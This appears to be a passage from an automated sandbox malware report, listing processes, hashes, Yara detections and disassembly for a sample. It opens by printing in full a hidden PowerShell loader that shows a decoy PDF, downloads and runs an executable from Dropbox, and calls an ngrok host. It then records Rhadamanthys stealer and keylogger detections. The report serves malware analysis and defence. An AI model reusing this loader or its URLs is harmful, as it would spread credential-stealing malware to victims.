Commandline:	powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:14:32
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\eb3e365c-3b4e-4f5f-8dad-50533203423c.pdf
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:14:33
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=7920 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:14:34
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2076,i,14980559990425657526,6209362246917279619,262144 /prefetch:3
Imagebase:	0x7ff72bec0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:14:35
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7236 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:6
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	10:14:35
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:14:37
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2064,i,5180988009760175564,13737899492242719940,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:14:43
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe"
Imagebase:	0x400000
File size:	3'112'960 bytes
MD5 hash:	B26B89DA53213C4EC12949A83806B611
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:14:45
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:14:45
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2032,i,14501280776939765503,8359820969839019914,262144 /prefetch:3
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:15:00
Start date:	16/12/2024
Path:	C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe"
Imagebase:	0x400000
File size:	3'112'960 bytes
MD5 hash:	B26B89DA53213C4EC12949A83806B611
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001E.00000003.2312771946.00000000001D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001E.00000003.2318206814.0000000003BC0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001E.00000003.2318009244.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001E.00000002.2327391566.0000000001620000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:15:02
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\fontdrvhost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0xb50000
File size:	676'584 bytes
MD5 hash:	8D0DA0C5DCF1A14F9D65F5C0BEA53F3D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001F.00000003.2322496710.0000000005350000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001F.00000003.2319339392.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RHADAMANTHYS, Description: Yara detected RHADAMANTHYS Stealer, Source: 0000001F.00000002.2438337254.0000000003340000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:15:03
Start date:	16/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8116 -s 320
Imagebase:	0xf80000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:15:14
Start date:	16/12/2024
Path:	C:\Windows\System32\fontdrvhost.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\fontdrvhost.exe"
Imagebase:	0x7ff72c440000
File size:	827'408 bytes
MD5 hash:	BBCB897697B3442657C7D6E3EDDBD25F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:15:17
Start date:	16/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 8256 -s 144
Imagebase:	0x7ff651270000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:15:19
Start date:	16/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7856 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FFD9B8A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2082742460.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 2d8e5c199f5335979778887b622e34919a8febb75adba4d6537578fae4bb4e89
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 8601677121CB0D4FD748EF0CE451AA6B7E0FB99364F10056DE58AC36A5DA36E882CB45

Analysis Process: powershell.exePID: 9196, Parent PID: 9100COMMON

Executed Functions

Function 00007FFD9B9732E5 Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2258314549.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fd2c41a7d673a1afba5e81d39291db927322564e80568885cebc7a9375d3d04
Instruction ID: 5f979f9edf67e95118a68a30fe2f42a02d395799f1fa3ac07caf74b9b4389821
Opcode Fuzzy Hash: 8fd2c41a7d673a1afba5e81d39291db927322564e80568885cebc7a9375d3d04
Instruction Fuzzy Hash: A2D14772B1EA8D2FE765D7A848A55B57BE1EF56350B0901FED04DC70E3DA18AA028341

Function 00007FFD9B8AA5B8 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2257141906.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dae8a5ba2660eed520b2d68a000228225a866c5601f51751359f053c476f72e
Instruction ID: aeb56a8fe292c486f06b9ad8a56201c9cbcd6d09a3dfdf7c7b25bc483671cd72
Opcode Fuzzy Hash: 7dae8a5ba2660eed520b2d68a000228225a866c5601f51751359f053c476f72e
Instruction Fuzzy Hash: B191D171A0E68C4FEBA5DBA8C8657ED7BB1EF55300F0440EBC08DD7292DE349A858B50

Function 00007FFD9B8AA66D Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2257141906.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd02ec214edcda00d73866d029eac96b52b1741f1a134037d1020fa730b9732d
Instruction ID: aaffeeb51aad62742c2556ffe53a7f6f721561cd2aa80c0aded828517dab4248
Opcode Fuzzy Hash: cd02ec214edcda00d73866d029eac96b52b1741f1a134037d1020fa730b9732d
Instruction Fuzzy Hash: E0516E70A09A1C8FEBA8EF58C855BE9B7F1FF55310F1041AAD04DD7292DE34AA85CB41

Function 00007FFD9B9734F3 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2258314549.00007FFD9B970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9b970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef811c7ac62a7be3934c18258b52e25ba5ab8dabb513ed0ceb985b74212a06e0
Instruction ID: 201f57715aa56f3e98917d0ef5b8603a4dfa5eb9882a865904989496497c379c
Opcode Fuzzy Hash: ef811c7ac62a7be3934c18258b52e25ba5ab8dabb513ed0ceb985b74212a06e0
Instruction Fuzzy Hash: 9E11C232F1F68E5FEBA8DA9C90A05B8B7D1EF58310F1900BED04DC71A3DE1569468311

Function 00007FFD9B8A3875 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2257141906.00007FFD9B8A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_7ffd9b8a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: b0afb9dbe39997acaead00dd5485a16e24432e580b279a4573207ed1b567b0e8
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: C101677121CB0C4FD748EF0CE451AA5B7E0FB99364F10056EE58AC36A5D636E881CB45

Analysis Process: 33937b54-1258-4cce-9d38-c5bceb144cd0.exePID: 9780, Parent PID: 9196COMMON

Executed Functions

Function 00593451 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001B.00000002.2351762589.0000000000401000.00000020.00000001.01000000.00000014.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.2351726452.0000000000400000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2351981544.00000000005F0000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2351981544.00000000005F6000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2351981544.00000000005F9000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352241832.0000000000AFD000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352287949.0000000000AFE000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352317981.0000000000AFF000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352408139.0000000000B71000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352503060.0000000000B74000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352550405.0000000000B80000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352587101.0000000000B83000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352632068.0000000000B8A000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352666896.0000000000B8E000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352699819.0000000000B95000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352730517.0000000000B9A000.00000040.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352770219.0000000000BC8000.00000080.00000001.01000000.00000014.sdmpDownload File
Associated: 0000001B.00000002.2352804402.0000000000BCB000.00000040.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_27_2_400000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b957c91d870eb9de9ab063c08f5dfe7cfdc4ec0200c7b023db30a00289be1316
Instruction ID: ece2c6ad9342428a8f3dad2d7d7fabc23630ad03eedbd8a8f0a160a5043e0ac9
Opcode Fuzzy Hash: b957c91d870eb9de9ab063c08f5dfe7cfdc4ec0200c7b023db30a00289be1316
Instruction Fuzzy Hash:

Analysis Process: 33937b54-1258-4cce-9d38-c5bceb144cd0.exePID: 8116, Parent PID: 9780COMMON

Executed Functions

Function 000F91B0 Relevance: 1.4, APIs: 1, Instructions: 133COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00000000,00000000,?), ref: 000F926D

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: de148ecc26438995122263fd84e79d06e7e20828183585f1ddfda33d16eac7f6
Instruction ID: a588870c27af3ae209e0bacca0dbbace999dc3d69e7eed16219597003802bc3a
Opcode Fuzzy Hash: de148ecc26438995122263fd84e79d06e7e20828183585f1ddfda33d16eac7f6
Instruction Fuzzy Hash: 06517B71A0424EDFCB91CF98C981AEDBBF0BF09314F2840A5E565F7641C234AA51EB64

Function 000F92CC Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00000000,?,?), ref: 000F9314

Part of subcall function 000F9098: VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 000F90C1

VirtualAlloc.KERNELBASE(00000000,00400000,00001000,00000004), ref: 000F9366
VirtualProtect.KERNELBASE(0000002C,?,00000040,0000002C), ref: 000F93C0
VirtualFree.KERNELBASE(00000000,00000000,?), ref: 000F93F3

Strings

,, xrefs: 000F9344

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: Virtual$Alloc$FreeProtect
String ID: ,
API String ID: 980677596-3772416878
Opcode ID: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction ID: c5ac47e1c0320223f09188cdffe0877b7d37dbd103c42025885be1b32b1e5d75
Opcode Fuzzy Hash: 846e80d9192284de11e110977aaee4205ca63ec1a267e246cbf1a7208dcc7df3
Instruction Fuzzy Hash: 2B510B75900209AFCB50DFA9C881FAEBBF4FF08340F10851AFA59A7641D370E950DBA4

Function 000F0BA2 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 000F0C27
__alloca_probe_16.LIBCMT ref: 000F0CF0
__freea.LIBCMT ref: 000F0D57
__freea.LIBCMT ref: 000F0D6A
__freea.LIBCMT ref: 000F0D77

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: __freea$__alloca_probe_16
String ID:
API String ID: 3509577899-0
Opcode ID: f53fc815b0c764dfd960c24d50024af4112bb0fa38d7dc543aeac69784bc7597
Instruction ID: 194dcd322e498bcfde1dd66e55d18f3e19856b34078ede5b40f2174280984501
Opcode Fuzzy Hash: f53fc815b0c764dfd960c24d50024af4112bb0fa38d7dc543aeac69784bc7597
Instruction Fuzzy Hash: CB51817260020EAFEF219FA4CC81EFB76A9EF85710B154129FE04D6953EB71ED50A660

Function 000F1748 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,000F12D6,00000001,00000364,00000000,?,000000FF,?,000F44E3,?,?,00000000), ref: 000F1789

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c47ee8d3292d1c1e09a5c44a2bad96f8266c57cfcd1b8925500e9a3685d398b9
Instruction ID: b160153468cf31ac602c6098265081269cee627b4bd4c174c60499c96a23af71
Opcode Fuzzy Hash: c47ee8d3292d1c1e09a5c44a2bad96f8266c57cfcd1b8925500e9a3685d398b9
Instruction Fuzzy Hash: 9BF05B3160872CD6DB617A529D496FA77A99F41770B244012FF0C9A995EA20DC0465A0

Function 000F3D41 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

LCMapStringEx.KERNELBASE(?,000F0C92,?,?,-00000008,?,00000000,00000000,00000000,00000000,00000000), ref: 000F3D75

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 5e9e9de969b0160d10911e7d50417d8e2e265c40fbeb262157614b305337b117
Instruction ID: ca713673782c75a577638040c11fbac76186ac453f04f3cd35d50af664e3a963
Opcode Fuzzy Hash: 5e9e9de969b0160d10911e7d50417d8e2e265c40fbeb262157614b305337b117
Instruction Fuzzy Hash: 05F0763610021EBBCF126F91EC09EEE3F66EF483A0F058110FA1825521CB72CA71AB90

Function 000EBEFA Relevance: 1.3, APIs: 1, Instructions: 86COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,00000000,?), ref: 000EBFCE

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: dfead8cb941e513eb0bacf3098a2d9f5c53177b44a1dd2204c3327b28600b64e
Instruction ID: 2742727885bf989187f2f9d32c6a7690a7f4cb93b1d67640dd82677f7e5fc9dc
Opcode Fuzzy Hash: dfead8cb941e513eb0bacf3098a2d9f5c53177b44a1dd2204c3327b28600b64e
Instruction Fuzzy Hash: 96312A71904209AFCB10CFA9DD90BAFBBF4EF48710F10802AE955B7260E775A944CF94

Function 000EBC80 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000), ref: 000EBCC7

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: e8cdc1b00f36ca14e49870f3cbb7069f7a9c1cd642c46bb845943d3294d6edec
Instruction ID: 05661c820c8d73fc12254161b10a3251760e995198865f34b15b27a967e65724
Opcode Fuzzy Hash: e8cdc1b00f36ca14e49870f3cbb7069f7a9c1cd642c46bb845943d3294d6edec
Instruction Fuzzy Hash: DDE0E5B1A006527FC3222B22AD19EBFBAACEF927017004025F804E2256CF60DC41CAB0

Function 000F9098 Relevance: 1.3, APIs: 1, Instructions: 30memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00001012,00001000,00000004), ref: 000F90C1

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 5fa5c9145237fa88e1aa37702aad2718761a025d2b836103e406ca8614d22d44
Instruction ID: ea46e329a41113450bdf126b6b537c807cb20332f643253e0bcc8fc85b040159
Opcode Fuzzy Hash: 5fa5c9145237fa88e1aa37702aad2718761a025d2b836103e406ca8614d22d44
Instruction Fuzzy Hash: 3C01C471D0024DEFEB10CF95C449BBDBBF0AB14326F108055E621AA691C7B85A89EF81

Non-executed Functions

Function 000F81D2 Relevance: .3, Instructions: 269COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca70cefdd93e371128945d8cee289917c4e915c4a68f9d95ee6fb9f05efd97a6
Instruction ID: 19c16dbe6cdb51a48ebd079df1f4b2d9f746262cb6dc539db5486a0d9f5749d5
Opcode Fuzzy Hash: ca70cefdd93e371128945d8cee289917c4e915c4a68f9d95ee6fb9f05efd97a6
Instruction Fuzzy Hash: C6B19E31510609DFD758CF28C48ABA87BE0FF44364F29C658EA99CF6A1C735E982DB40

Function 000EC231 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_3_c0000_33937b54-1258-4cce-9d38-c5bceb144cd0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087603853f6fb95df7580baad106efb5b398cfdfdcd7350a440aa4c6e41d922
Instruction ID: fa6b3e0adde3f773f521e8cf7943b67569a45a4a3428e90d220d2e0d875aa077
Opcode Fuzzy Hash: a087603853f6fb95df7580baad106efb5b398cfdfdcd7350a440aa4c6e41d922
Instruction Fuzzy Hash: BC51C5202182E64ED31DCA3D58A5579FFE1AB96101F4C87EFE8DADB283C428C549C7A1

Function 000ECDD5 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000003.2319264099.00000000000C0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000C0000, based on PE: true

Joe Sandbox IDA Plugin

